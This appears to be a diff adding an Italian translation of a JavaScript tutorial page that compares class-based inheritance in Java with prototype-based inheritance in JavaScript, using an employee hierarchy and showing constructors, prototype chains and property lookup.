+<p>I linguaggi ad oggetti basati su classi, come Java e C++, si basano su due entità distinte: le classi (<em>classes</em>) e le istanze (<em>instances</em>).</p>
+
+<ul>
+ <li>Una <em>class</em>e definisce tutte le proprietà (considering methods and fields in Java, or members in C++, to be properties) che caratterizzano una determinata collezione di oggetti. Una classe è un'entità astratta, più che un membro del gruppo di oggetti che descrive. Per esempio, la classe <code>Employee</code> può rappresentare il gruppo di tutti i dipendenti.</li>
+ <li>Un'<em>istanza</em>, d'altra parte, è l'istanziazione di una classe; cioè uno dei suoi membri. Per esempio <code>Victoria</code> può essere un'istanza della classe <code>Employee</code>, che rappresenta un particolare individuo come un dipendente. Un'istanza ha esattamente le stesse proprietà della classe a cui appartiene (né più, né meno).</li>
+</ul>
+
+<p>Un linguaggio basato su prototipi, come JavaScript, non fa questa distinzione: ha solo oggetti. Introduce la nozione di <em>oggetto prototipo</em> (<em>prototypical object</em>), un oggetto usato come modello da cui prendere le proprietà iniziali per un nuovo oggetto. Ogni oggetto può specificare le sue proprietà, anche quando viene creato o in fase di esecuzione.Inoltre, ogni oggetto può essere associato ad un altro oggetto come <em>prototipo</em>, consentendo al secondo oggetto di condividere le proprietà del primo.</p>
+
+<h3 id="Definizione_di_una_classe">Definizione di una classe</h3>
+
+<p>Nei linguaggi basati su classi, le classi vengono definite in <em>class definition</em> separate. In queste definizioni è possibile specificare metodi speciali, chiamari <em>costruttori</em> (<em>constructors</em>), per creare istanze della classe. Un costruttore può specificare i valori iniziali per le proprietà dell'istanza ed eseguire altre elaborazioni adatte al momento della creazione. Per creare le istanze di una classe si utilizza l'operatore <em>new</em> associato al metodo costruttore.</p>
+
+<p>JavaScript segue un modello simile, ma non prevede la definizione della classe separata dal costruttore. Invece, per creare oggetti con un particolare set di proprietà e valori si definisce una funzione costruttore. Ogni funzione JavaScript può essere usata come costruttore. Per creare un nuovo oggetto si utilizza l'operatore <em>new</em> associato a una funzione costruttore.</p>
+
+<h3 id="Sottoclassi_e_ereditarietà">Sottoclassi e ereditarietà</h3>
+
+<p>In un linguaggio basato su classi, si crea una gerarchia tra le classi attraverso le definizioni delle classi stesse. All'interno della definizione di una classe è possibile specificare che la nuova classe è una <em>sottoclasse</em> (<em>subclass</em>) di una classe esistente. La sottoclasse eredita tutte le proprietà della superclasse e può inoltre aggiungere nuove proprietà o modificare quelle ereditate. Per esempio, assumiamo che la classe <code>Employee</code> include solo le proprietà <code>name</code> <code>e dept</code>, <code>e Manager</code> è una sottoclasse di <code>Employee</code> che aggiunge la proprietà <code>reports</code>. In questo caso, un'istanza della classe <code>Manager</code> avrà tutte e tre le proprietà: <code>name</code>, <code>dept</code>, <code>e reports</code>.</p>
+
+<p>JavaScript implementa l'ereditarietà permettendo di associare un oggetto prototipo ad ogni funzione costruttore. Quindi, è possibile ricreare esattamente l'esempio visto in precedenza, ma usando una terminologia leggermente diversa. Innanzitutto  si definisce la funzione costruttore <code>Employee</code>, specificando le proprietà <code>name</code> <code>e dept</code>. In seguito, si definisce la funzione costruttore <code>Manager</code>, chiamando il costruttore <code>Empl</code><code>oyee</code> e specificando la proprietà <code>reports</code>. Infine, si assegna a un nuovo oggetto derivato da <code>Employee.prototype</code> come il prototipo per la funzione costruttore <code>Manager</code>. Quando si crea un nuovo <code>Manager</code>, questo eredita le proprietà <code>name</code> e <code>dept</code> dall'oggetto <code>Employee</code>.</p>
+
+<h3 id="Aggiungere_e_rimuovere_proprietà">Aggiungere e rimuovere proprietà</h3>
+
+<p>Nei linguaggi basati su classi, una classe viene solitamente creata in fase di compilazione mentre le istanze possono essere create in fase di compilazione o in fase di esecuzione. Non è possibile cambiare il numero o il tipo di proprietà di una classe dopo che questa è stata definita. In JavaScript in fase di esecuzione si possono aggiungere o rimuovere proprietà a qualunque oggetto. Se si aggiunge una proprietà a un oggetto che è usato come prototipo per un gruppo di oggetti, anche gli oggetti del gruppo ereditano la nuova proprietà.</p>
+
+<h3 id="Riepilogo_delle_differenze">Riepilogo delle differenze</h3>
+
+<p>La tabella seguente fornisce un breve riepilogo di alcune di queste differenze. Il resto di questo capitolo descrive nel detteglio l'uso in JavaScript di costruttori e prototipi per creare una gerarchia di oggetti e lo confronta con la procedura che si userebbe in Java.</p>
+
+<table class="standard-table">
+ <caption>Confronto tra il sistema di oggetti basato su classi (Java) e il sistema di oggetti basato su prototipi (JavaScript)</caption>
+ <thead>
+  <tr>
+   <th scope="col">Class-based (Java)</th>
+   <th scope="col">Prototype-based (JavaScript)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Classi e istanze sono entità separate.</td>
+   <td>Tutti gli oggetti possono ereditare da un altro oggetto.</td>
+  </tr>
+  <tr>
+   <td>Definire una classe con una definizione; istanziare una classe con un metodo costruttore</td>
+   <td>Definire e creare una collezione di oggetti con una funzione costruttore.</td>
+  </tr>
+  <tr>
+   <td>Creare un singolo oggetto con l'operatore <code>new</code>.</td>
+   <td>Uguale.</td>
+  </tr>
+  <tr>
+   <td>Costruire una gerarchia di oggetti usando la definizione di classe per definire le sottoclassi di classi esistenti.</td>
+   <td>Costruire una gerarchia di oggetti assegnando un oggetto come prototipo associato a una funzione costruttore.</td>
+  </tr>
+  <tr>
+   <td>Ereditare le proprietà seguendo la catena delle classi.</td>
+   <td>Ereditare le proprietà seguendo la catena dei prototipi.</td>
+  </tr>
+  <tr>
+   <td>La definizione di classe specifica <em>tutte</em> le proprietà di tutte le istanze della classe. Non è possibile aggiungere proprietà dinamicamente durante l'esecuzione.</td>
+   <td>La funzione costruttore o il prototipo specificano un set <em>iniziale</em> di proprietà. <span class="st">È possibile aggiungere o rimuovere dinamicamente proprietà ai singoli oggetti o all'intero gruppo di oggetti.</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="L'esempio_'dipendente'">L'esempio 'dipendente'</h2>
+
+<p>Il resto di questo capitolo usa la gerarchia dei dipendenti mostrata nella figura seguente.</p>
+
+<div style="display: table-row;">
+<div style="display: table-cell; width: 350px; text-align: center; vertical-align: middle; padding: 10px;">
+<p>Una semplice gerarchia con gli oggetti seguenti:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p>
+</div>
+
+<div style="display: table-cell; vertical-align: middle; padding: 10px;">
+<ul>
+ <li><code>Employee</code> ha le proprietà <code>name</code> (il cui valore di default è una stringa vuota) e <code>dept</code> (il cui valore di default è "general").</li>
+ <li><code>Manager</code> è basato su <code>Employee</code>. Aggiunge la proprietà <code>reports</code>  (il cui valore di default è un array vuoto, destinato a contenere una serie di oggetti <code>Employee</code>).</li>
+ <li><code>WorkerBee</code> è anch'esso basato su <code>Employee</code>. Aggiunge la proprietà <code>projects</code> (il cui valore di default è un array vuoto, destinato a contenere una serie di stringhe).</li>
+ <li><code>SalesPerson</code> è basato su <code>WorkerBee</code>. Aggiunge la proprietà <code>quota</code> (il cui valore di default è 100). Sovrascrive inoltre la proprietà <code>dept</code> con il valore "sales", che indica che tutti i venditori si trovano nello stesso dipartimento.</li>
+ <li><code>Engineer</code> è basato su <code>WorkerBee</code>. Aggiunge la proprietà <code>machine</code> (il cui valore di default è una stringa vuota) e sovrascrive la proprietà <code>dept</code> con il valore "engineering".</li>
+</ul>
+</div>
+</div>
+
+<h2 id="Creazione_della_gerarchia">Creazione della gerarchia</h2>
+
+<p>Ci sono diversi modi per definire una funzione costruttore appropriata per implementare la gerarchia dei dipendenti. Il modo scelto per definirli dipende molto da cosa si vuole riuscire a fare nella propria applicazione.</p>
+
+<p>Questa sezione mostra come usare definizioni molto semplici (e relativamente rigide) per dimostrare come far funzionare l'ereditarietà. In queste definizioni, quando si crea un oggetto non è possibile specificare il valore di nessuna proprietà. L'oggetto creato avrà semplicemente i valori di default, che potranno essere cambiati in un secondo momento.</p>
+
+<p>In una applicazione reale, probabilmente si vorranno definire dei costruttori che permettono di impostare i valori delle proprietà mentre si crea un oggetto (per maggiori informazioni si veda la sezione <a href="#Costruttori_più_flessibili" rel="internal">Costruttori più flessibili</a>). Per adesso, queste semplici definizioni dimostrano come le proprietà vengono ereditate.</p>
+
+<p>Le seguenti definizioni Java e JavaScript di <code>Employee</code> sono simili. L'unica differenza è che in Java si ha la necessità di specificare il tipo di ogni proprietà (questo è dovuto al fatto che Java è un<a href="https://it.wikipedia.org/wiki/Tipizzazione_forte"> linguaggio fortemente tipizzato</a> mentre JavaScript è un <a href="https://it.wikipedia.org/wiki/Tipizzazione_dinamica">linguaggio a tipizzazione dinamica</a>.</p>
+
+<div class="twocolumns">
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">function Employee() {
+  this.name = "";
+  this.dept = "general";
+}
+</pre>
+
+<h4 id="Java">Java</h4>
+
+<pre class="brush: java">public class Employee {
+   public String name = "";
+   public String dept = "general";
+}
+</pre>
+</div>
+
+<p>Le definizioni di <code>Manager</code> e <code>WorkerBee</code> mostrano la differenza nel modo di specificare l'oggetto seguente che si trova più in alto nella catena di ereditarietà. In JavaScript si aggiunge un'istanza prototipo come valore della proprietà <code>prototype</code> della funzione costrutore. È possibile farlo in qualsiasi momento dopo aver definito il costruttore. In Java, si specifica la superclasse all'interno della definizione della classe. Non è possibile cambiare la superclasse all'esterno della definizione.</p>
+
+<div class="twocolumns">
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">function Manager() {
+  Employee.call(this);
+  this.reports = [];
+}
+Manager.prototype = Object.create(Employee.prototype);
+
+function WorkerBee() {
+  Employee.call(this);
+  this.projects = [];
+}
+WorkerBee.prototype = Object.create(Employee.prototype);
+</pre>
+
+<h4 id="Java_2">Java</h4>
+
+<pre class="brush: java">public class Manager extends Employee {
+   public Employee[] reports = new Employee[0];
+}
+
+
+
+public class WorkerBee extends Employee {
+   public String[] projects = new String[0];
+}
+
+
+</pre>
+</div>
+
+<p>Le definizioni di <code>Engineer</code> e <code>SalesPerson</code> creano oggetti che discendono da  <code>WorkerBee</code>, e quindi da <code>Employee</code>. Un oggetto di questo tipo ha le proprietà di tutti gli oggetti che si trovano sopra di esso nella catena. Inoltre, queste definizioni sovrascrivono il valore ereditato delle proprietà  <code>dept</code> con nuovi valori specifici per questi oggetti.</p>
+
+<div class="twocolumns">
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">function SalesPerson() {
+   WorkerBee.call(this);
+   this.dept = "sales";
+   this.quota = 100;
+}
+SalesPerson.prototype = Object.create(WorkerBee.prototype);
+
+function Engineer() {
+   WorkerBee.call(this);
+   this.dept = "engineering";
+   this.machine = "";
+}
+Engineer.prototype = Object.create(WorkerBee.prototype);
+</pre>
+
+<h4 id="Java_3">Java</h4>
+
+<pre class="brush: java">public class SalesPerson extends WorkerBee {
+   public String dept = "sales";
+   public double quota = 100.0;
+}
+
+
+public class Engineer extends WorkerBee {
+   public String machine;
+   public String dept = "engineering";
+   public String machine = "";
+}
+
+</pre>
+</div>
+
+<p>Usando queste definizioni è possibile creare istanze di questi oggetti che ricevono i valori di default delle loro proprietà. La figura seguente illustra l'utilizzo di queste definizioni JavaScript per creare nuovi oggetti e mostra i valori delle diverse proprietà per questi nuovi oggetti.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Il termine <em>istanza</em> ha uno specifico significato tecnico nei linguaggi basati su classi. In questi linguaggi, un'istanza è una singola istanziazione di una classe ed è fondamentalmente differente dala classe. In JavaScript, "istanza" non ha questo significato tecnico perché JavaScript non ha questa differenza tra classi e istanze. Tuttavia, parlando di JavaScript, "istanza" può essere usato in modo informale per riferirsi a un oggetto creato usando una particolare funzione costruttore. Quindi, in questo esempio, è possibile dire che <code><code>jane</code></code> è un'istanza di <code><code>Engineer</code></code>. Allo stesso modo, sebbene i termini <em>genitore  </em>(<em>parent</em>), <em>figlio </em>(<em>child</em>), <em>antenato </em>(<em>ancestor</em>) e <em>discendente</em> (<em><em>descendant</em></em>) non hanno un significato conenzionale in JavaScript, possono essere usati in modo informale per riferirsi a oggetti che si trovano più o meno in alto nella catena dei prototipi.</p>
+</div>
+
+<h3 id="Creazione_di_oggetti_con_definizioni_semplici">Creazione di oggetti con definizioni semplici</h3>
+
+<div class="twocolumns">
+<h4 id="Gerarchia_degli_oggetti">Gerarchia degli oggetti</h4>
+
+<p>La gerarchia seguente è creata usando il codice sulla destra.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"></p>
+
+<p> </p>
+
+<h4 id="singoli_oggetti">singoli oggetti</h4>
+
+<pre class="brush: js">var jim = new Employee;
+// jim.name is ''
+// jim.dept is 'general'
+
+var sally = new Manager;
+// sally.name is ''
+// sally.dept is 'general'
+// sally.reports is []
+
+var mark = new WorkerBee;
+// mark.name is ''
+// mark.dept is 'general'
+// mark.projects is []
+
+var fred = new SalesPerson;
+// fred.name is ''
+// fred.dept is 'sales'
+// fred.projects is []
+// fred.quota is 100
+
+var jane = new Engineer;
+// jane.name is ''
+// jane.dept is 'engineering'
+// jane.projects is []
+// jane.machine is ''
+</pre>
+</div>
+
+<h2 id="Proprietà_degli_oggetti">Proprietà degli oggetti</h2>
+
+<p>Questa sezione spiega come gli oggetti ereditano le proprietà da altri oggetti presenti nella catena dei prototipi e cosa succede quando viene aggiunta una proprietà in fase di esecuzione.</p>
+
+<h3 id="Ereditare_le_proprietà">Ereditare le proprietà</h3>
+
+<p>Supponiamo di creare un nuovo oggetto <code>WorkerBee</code> chiamato <code>mark</code> con l'istruzione seguente:</p>
+
+<pre class="brush: js">var mark = new WorkerBee;
+</pre>
+
+<p>Quando JavaScript vede l'operatore <code>new</code>, crea un nuovo oggeto generico e lo passa come valore della parola chiave <code>this</code> nella funzione costruttore <code>WorkerBee</code>. La funzione costruttore imposta esplicitamente il valore della proprietà <code>projects</code> e implicitamente il valore della proprietà interna <code>__proto__</code> uguale al valore <code>WorkerBee.prototype</code>. (Il nome di questa proprietà ha due underscores iniziali e due finali). La proprietà <code>__proto__</code> determina la catena di prototipi usata per restituire i valori delle proprietà. Una volta che queste proprietà sono impostate, JavaScript restituisce il nuovo oggetto e l'istruzione di assegnazione imposta la variabile <code>mark</code> per questo oggetto.</p>
+
+<p>Questo processo non inserisce esplicitamente valori nell'oggetto<code> mark</code> (valori <em>locali</em>) per le proprietà che l'oggetto eredita dalla catena dei prototipi. Quando si richiede un valore di una proprietà, JavaScript prima controlla se il valore è presente nell'oggetto. Se c'è, viene restituito quel valore. Se il valore non è presente a livello locale, JavaScript controlla la catena dei prototipi (sfruttando la proprietà <code>__proto__</code>). Se un oggetto nella catena dei prototipi ha un valore per la proprietà, viene restituito. Se non viene trovata la proprietà, JavaScript risponde che l'oggetto non ha la proprietà cercata. In questo modo, l'oggetto <code>mark</code> ha le seguenti propietà con i rispettivi valori:</p>
+
+<pre class="brush: js">mark.name = "";
+mark.dept = "general";
+mark.projects = [];
+</pre>
+
+<p>L'oggetto <code>mark</code> eredita i valori per le proprietà <code>name</code> e <code>dept</code> dall'oggetto prototipo presente in <code>mark.__proto__</code>. Il costruttore <code>WorkerBee</code> assegna un valore locale per la proprietà <code>projects</code>. L'ereditarietà di proprietà e valori in JavaScript fnziona in questo modo. Alcune sottigliezze su questo processo sono trattate nella sezione <a href="#Ereditare_le_proprietà_(revisited)">Ereditare le proprietà (revisited)</a>.</p>
+
+<p>Poiché questi costruttori non permettono di fornire valori specifici per una singola istanza, questa informazione è generica. I valori delle proprietà sono quelli di default condivisi da tutti i nuovi oggetti creati da <code>WorkerBee</code>. <span class="st">È</span> oviamente possibile cambiare i valori di ognuna di queste proprietà. <span class="st">È</span> quindi possibile assegnare informazioni specifice per <code>mark</code> nel modo seguente:</p>
+
+<pre class="brush: js">mark.name = "Doe, Mark";
+mark.dept = "admin";
+mark.projects = ["navigator"];</pre>
+
+<h3 id="Aggiungere_proprietà">Aggiungere proprietà</h3>
+
+<p>In JavaScript, è possibile aggiungere proprietà a qualsiasi oggetto in fase di esecuzione. Non si è costretti ad usare solo le proprietà fornite dalla funzione costruttore. Per aggiungere una proprietà che sia specifica per un singolo oggetto, si deve assegnare il valore all'oggetto nel modo seguente::</p>
+
+<pre class="brush: js">mark.bonus = 3000;
+</pre>
+
+<p>Ora, l'oggetto <code>mark</code>ha una proprietà <code>bonus</code>, ma nessun altro <code>WorkerBee</code> ha questa proprietà.</p>
+
+<p>Se si aggiunge una nuova proprietà a un oggetto che viene usato come prototipo per una funzione costruttore, la proprietà sarà aggiunta a tutti gli oggetti che ereditano le proprietà dal prototipo. Per esempio, è possibile aggiungere la proprietà <code>specialty</code> a tutti i dipendenti con l'istruzione seguente:</p>
+
+<pre class="brush: js">Employee.prototype.specialty = "none";
+</pre>
+
+<p>Non appena JavaScript esegue questa istruzione, anche l'oggetto <code>mark</code> avrà la proprietà <code>specialty</code> con il valore <code>"none"</code>. La figura seguente mostra cosa succede qunado questa proprietà viene aggiunta al prototipo <code>Employee</code> e in seguito la si sovrascrive per il prototipo <code>Engineer</code>.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <small><strong>Aggiungere le proprietà</strong></small></p>
+
+<h2 id="Costruttori_più_flessibili">Costruttori più flessibili</h2>
+
+<p>Le funzioni costruttore mostrate finora non permettono di specificare i valori delle proprietà qunado viene creata un'istanza. Come in Java, è possibile fornire argomenti al costruttore per inizializzare i valori delle proprietà per le istanze. La figura seguente mostra un modo per farlo.</p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <small><strong>Specificare le proprietà in un costruttore, modo 1</strong></small></p>
+
+<p>La tabella seguente mostra le definizioni di questi oggetti in JavaScript e in Java.</p>
+
+<div class="twocolumns">
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<h4 id="Java_4">Java</h4>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">function Employee (name, dept) {
+  this.name = name || "";
+  this.dept = dept || "general";
+}
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: java">public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this("", "general");
+   }
+   public Employee (String name) {
+      this(name, "general");
+   }
+   public Employee (String name, String dept) {
+      this.name = name;
+      this.dept = dept;
+   }
+}
+</pre>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">function WorkerBee (projs) {
+
+ this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: java">public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this(new String[0]);
+   }
+   public WorkerBee (String[] projs) {
+      projects = projs;
+   }
+}
+</pre>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">
+function Engineer (mach) {
+   this.dept = "engineering";
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: java">public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      dept = "engineering";
+      machine = "";
+   }
+   public Engineer (String mach) {
+      dept = "engineering";
+      machine = mach;
+   }
+}
+</pre>
+</div>
+
+<p>Queste definizioni JavaScript usano un linguaggio speciale per impostare i valori di default:</p>
+
+<pre class="brush: js">this.name = name || "";
+</pre>
+
+<p>In JavaScript l'operatore logico OR (<code>||</code>) valuta il suo primo argomento. Se questa espressione può essere convertita a <code>true</code>, l'operatore restituisce il primo argomento. Altrimenti l'operatore restituisce il valore del secondo argomento. Quindi, questa linea di codice verifica se <code>name</code> ha un valore utile per la proprietà <code>name</code>. Se ce l'ha, imposta <code>this.name</code> a questo valore. Altrimenti, imposta <code>this.name</code> a una stringa vuota. Questo capitolo usa questo linguaggio per brevità, comunque può disorientare a prima vista.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Potrebbe non funzionare come atteso se la funzione costruttore è chiamata con un argomento che converte a <code>false</code> (come ad esempio <code>0</code> (zero) o una stringa vuota (<code><code>""</code></code>)). In questo caso verrà scelto il valore di default.</p>
+</div>
+
+<p>Con queste definizioni, quando si crea un'istanza di un oggetto, è possibile specificare i valori per le proprietà definite localmente. <span class="st">Per creare un nuovo <code>Engineer</code></span> è possibile utilizzare l'espressione seguente:</p>
+
+<pre class="brush: js">var jane = new Engineer("belau");
+</pre>
+
+<p>Le proprietà di <code>Jane</code> sono ora:</p>
+
+<pre class="brush: js">jane.name == "";
+jane.dept == "engineering";
+jane.projects == [];
+jane.machine == "belau"
+</pre>
+
+<p><span class="st">È</span> da notare che con queste definizioni non è possibile specificare una valore iniziale per le proprietà ereditate, come ad esempio <code>name</code>. Se si desidera specificare un valore iniziale per una proprietà ereditata, in JavaScript è necessario aggiungere ulteriore codice alla funzione costruttore.</p>
+
+<p>Finora, la funzione costruttore ha creato un oggetto generico e poi ha specificato proprietà locali e valori per il nuovo oggetto. <span class="st">È</span> possibile fare in modo che il costruttore aggiunga più proprietà chiamando direttamente la funzione costruttore per un oggetto che si trova a un livello più alto nella catena dei prototipi. La figura seguente mostra queste nuove definizioni.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>Specificare le proprietà in un costruttore, modo 2</strong></small></p>
+
+<p>Guardiamo nel dettaglio una di queste definizioni. Ecco la nuova definizione per il costruttore <code>Engineer</code>:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+
+<p>Supponiamo di creare un nuovo oggetto <code>Engineer</code> nel modo seguente:</p>
+
+<pre class="brush: js">var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+</pre>
+
+<p>JavaScript segue questa procedura:</p>
+
+<ol>
+ <li>L'operatore <code>new</code> crea un oggetto generico e imposta il valore <code>Engineer.prototype</code> per la sua proprietà <code>__proto__</code>.</li>
+ <li>L'operatore <code>new</code> passa il nuovo oggetto come valore della parola chiave <code>this</code> nella funzione costruttore <code>Engineer</code>.</li>
+ <li>Il costruttore crea una nuova proprietà per l'oggetto chiamata <code>base</code> e assegna il valore del costruttore <code>WorkerBee</code> alla proprietà <code>base</code>. Questo rende il costruttore <code>WorkerBee</code> un metode dell'oggetto <code>Engineer</code>. Il nome della proprietà <code>base</code> non è peculiare. <span class="st">È</span> possibile usare qualsiasi nome per la proprietà; <code>base</code> è semplicemente evocativo dello scopo.</li>
+ <li>Il costruttore chiama il metodo <code>base</code>, passando come suoi argomenti due degli argomenti passati al costruttore (<code>"Doe, Jane"</code> e <code>["navigator", "javascript"]</code>) e anche la stringa <code>"engineering"</code>. Usando esplicitamente <code>"engineering"</code> nel costruttore indica che tutti gli oggetti <code>Engineer</code> hanno lo stesso valore per la proprietà <code>dept</code> ereditata, e questo valore sovrascrive il valore ereditato dal costruttore <code>Employee</code>.</li>
+ <li>Poiché <code>base</code> è un metodo di <code>Engineer</code>, all'interno della chiamata di <code>base</code>, JavaScript aggiunge la parola chiave <code>this</code> all'oggetto creato al passaggio 1. In questo modo, la funzione <code>WorkerBee</code> a sua volta passa gli argomenti <code>"Doe, Jane"</code> e <code>"engineering"</code> alla funzione costruttore <code>Employee</code>. Dopo l'esecuzione della funzione costruttore <code>Employee</code>, la funzione <code>WorkerBee</code> utilizza l'argomento rimanente per impostare la proprietà<code> projects</code>.</li>
+ <li>Dopo l'esecuzione del metodo <code>base</code>, il costruttore <code>Engineer</code> inizializza la proprietà <code>machine</code> dell'oggetto al valore <code>"belau"</code>.</li>
+ <li>Dopo l'esecuzione del costruttore, JavaScript assegna il nuovo oggetto alla variabile <code>jane</code>.</li>
+</ol>
+
+<p>Avendo chiamato il costruttore <code>WorkerBee</code> dall'interno del costruttore <code>Engineer</code>, si potrebbe pensare di aver impostato in modo corretto l'ereditarietà per gli oggetti <code>Engineer</code>. Questo non è il caso. Chiamare il costruttore <code>WorkerBee</code> assicura che un oggetto <code>Engineer</code> venga creato con le proprietà specificate in tutte le funzioni costruttore che sono chiamate. Però, se in un secondo momento vengono aggiunte proprietà ai prototipi <code>Employee</code> o <code>WorkerBee</code>, queste proprietà non saranno ereditate dall'oggetto <code>Engineer</code>. Per esempio, se si considera il codice seguente:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>L'oggetto <code>jane</code> non eredita la proprietà <code>specialty</code>. <span class="short_text" id="result_box" lang="it"><span>È</span></span> comunque necessario impostare esplicitamente il prototipo per garantire l'ereditarietà dinamica. Se si considera invece l'esempio seguente:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>Adesso il valore per l'oggetto <code>jane</code> della proprietà <code>specialty</code> è "none".</p>
+
+<p>Un altro modo per ereditare le proprietà è l'utilizzo dei metodi <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call">call()</a></code> e <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a>. Gli esempi sottostanti si equivalgono:</p>
+
+<div class="twocolumns">
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  WorkerBee.call(this, name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+</div>
+
+<p>L'utilizzo del metodo <code>call()</code> costituisce un'implementazione più pulita poiché la proprietà <code>base</code> non è più necessaria.</p>
+
+<h2 id="Ereditare_le_proprietà_(revisited)">Ereditare le proprietà (revisited)</h2>
+
+<p>Le sezioni precedenti descrivono come i costruttori e i prototipi consentono di avere gerarchia ed ereditarietà in JavaScript. Questa sezione espone alcune sottiglienzze che non erano necessariamente evidenti nelle discussioni precedenti.</p>
+
+<h3 id="Valori_locali_vs._valori_ereditati">Valori locali vs. valori ereditati</h3>
+
+<p>Quando si accede a una proprietà di un oggetto, JavaScript esegue i seguenti passaggi, come descritto in precedenza in questo capitolo:</p>
+
+<ol>
+ <li>Verifica se il valore è presente a livello locale. Se c'è, restituisce quel valore.</li>
+ <li>Se non è presente, verifica la catena dei prototipi (usando la proprietà <code>__proto__</code>).</li>
+ <li>Se un oggetto nella catena dei prototipi ha un valore per la proprietà specificata, restituisce quel valore.</li>
+ <li>Se la proprietà non viene trovata, l'oggetto non ha la proprietà.</li>
+</ol>
+
+<p>Il risultato di questo processo dipende da come sono stati definiti gli elementi. L'esempio iniziale aveva queste definizioni:</p>
+
+<pre class="brush: js">function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p>Con queste definizioni, si supponga di creare <code>amy</code> come un'istanza di <code>WorkerBee</code> con la seguente istruzione:</p>
+
+<pre class="brush: js">var amy = new WorkerBee;
+</pre>
+
+<p>L'oggetto <code>amy</code> ha una proprietà locale, <code>projects</code>. I valori per le proprietà <code>name</code> e <code>dept</code> non sono specifici per <code>amy</code> e quindi derivano dalla proprietà <code>__proto__</code> dell'oggetto <code>amy</code>. Quindi, <code>amy</code> ha i seguenti valori:</p>
+
+<pre class="brush: js">amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+
+<p>Ora si supponga di cambiare il valore della proprietà <code>name</code> nel prototipo associato con <code>Employee</code>:</p>
+
+<pre class="brush: js">Employee.prototype.name = "Unknown"
+</pre>
+
+<p>Ci si potrebbe aspettare che il nuovo valore si propaghi a tutte le istanze di <code>Employee</code>. Invece, non lo fa.</p>
+
+<p>Quando si crea <em>qualsiasi </em>istanza dell'oggetto <code>Employee</code>, questa istanza riceve un <strong>valore locale</strong> per la proprietà <code>name</code> (la stringa vuota). Questo significa che quando si imposta il prototipo <code>WorkerBee</code> creando un nuovo oggetto <code>Employee</code>, <code>WorkerBee.prototype</code> avrà un valore locale per la proprietà <code>name</code>. Quindi, quando JavaScript legge la proprietà <code>name</code> dell'oggetto <code>amy</code> (istanza di <code>WorkerBee</code>), trova in <code>WorkerBee.prototype </code>il valore locale di questa proprietà. Pertanto non continua a cercare nella catena salendo a <code>Employee.prototype</code>.</p>
+
+<p>Se si vuole cambiare il valore di una proprietà di un oggetto in fase di esecuzione e si vuole che il nuovo valore venga ereditato da tutti i discendenti dell'oggetto, non è possibile definire la proprietà all'interno della funzione costruttore dell'oggetto. Invece, si aggiunge la proprietà al prototipo associato al costruttore. Per esempio, assumiamo di cambiare il codice precedente con quello che segue:</p>
+
+<pre class="brush: js">function Employee () {
+  this.dept = "general";    // Note that this.name (a local variable) does not appear here
+}
+Employee.prototype.name = "";    // A single copy
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+var amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+
+<p>In questo caso, il valore della proprietà <code>name</code> di <code>amy</code> diventa "Unknown".</p>
+
